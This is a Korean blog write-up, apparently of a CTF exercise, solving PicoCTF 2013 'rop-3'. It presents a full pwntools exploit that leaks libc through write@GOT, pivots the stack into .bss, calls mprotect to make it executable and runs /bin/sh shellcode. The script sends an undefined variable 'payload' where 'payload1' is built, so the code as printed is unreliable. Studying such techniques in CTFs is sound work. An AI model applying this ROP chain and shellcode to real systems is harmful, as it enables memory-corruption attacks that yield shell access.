저번 문제에 이어서 rop-3을 풀어보겠다.
이번문제는 두가지 풀이방법이 있다.
첫번째는 문제를 원격이아닌 로컬에 두고 푸니까 ulimit -s unlimited명령어를 통해 ASLR을 끄고 풀면 된다.(※32비트 가상머신에서 해야됨)
(쉬움)
두번째는 ASLR을 끄지 않고 푸는 방법이다.
(어려움)
두번째 방법으로 문제를 풀어보겠다!
ASLR을 우회할 방법으로 mprotect를 써서 쉘코드를 올려서 문제를 풀겠다.
mprotect는 메모리 영역에 대한 접근을 제어하는 함수이다.
이것을 이용해서 bss의 NX비트를 꺼서 풀어보겠다!
#!/usr/bin/python
from pwn import*
r=process("./rop")
e=ELF("./rop")
l=ELF("/lib32/libc.so.6")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
pppr = 0x0804855d
pop_ebp = 0x08048443
leave_ret = 0x08048471
payload1 = ''
payload1 += "A"*140
payload1 += p32(e.plt['write'])
payload1 += p32(pppr)
payload1 += p32(1)
payload1 += p32(e.got['write'])
payload1 += p32(4)
payload1 += p32(e.plt['read'])
payload1 += p32(pppr)
payload1 += p32(0)
payload1 += p32(e.bss())
payload1 += p32(0x400)
payload1 += p32(pop_ebp)
payload1 += p32(e.bss()-0x4)
payload1 += p32(leave_ret)
r.sendline(payload)
libc_addr = u32(r.recv(4))-l.symbols['write']
payload2 = ''
payload2 += p32(libc_addr+l.symbols['mprotect'])
payload2 += p32(pppr)
payload2 += p32(e.bss()-0x20)
payload2 += p32(0x400)
payload2 += p32(7)
payload2 += p32(e.bss()+len(payload2)+4)
payload2 += shellcode
r.sendline(payload2)
r.interactive()
exploit코드를 설명하자면 write함수의 주소에서 write함수의 offset을빼서 libc의 주소를 구해준 후,
read로 payload2를 통해 bss에 mprotect의 함수를 적어준다.
(주의할점은 mprotect는 void *addr을 0x1000의 배수로 받아준다.)
그후 pppr을 통해서 shellcode를 가리킨다.
그리고 payload1로 돌아가서 e.bss()-0x4를 pop ebp 해주어서 ebp에 bss값을 올린 후
leave를 해준후 ret을 해준다.
leave= mov esp,ebp ret= pop eip
pop ebp jmp eip
그럼 쉘코드가 작성이되면서 쉘이 따지는 모습을 볼 수 있다.
'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글
Backdoor CTF-2015 forgot문제 (0) | 2018.01.04 |
---|---|
[ROP 문제]2013 Pico ctf rop-4 (0) | 2017.12.20 |
[ROP 문제]2013 Pico ctf rop-2 (0) | 2017.12.13 |
[ROP 문제]2013 Pico ctf rop-1 (0) | 2017.12.13 |
[ROP 문제]DEFCON2015문제 r0pbaby (0) | 2017.12.11 |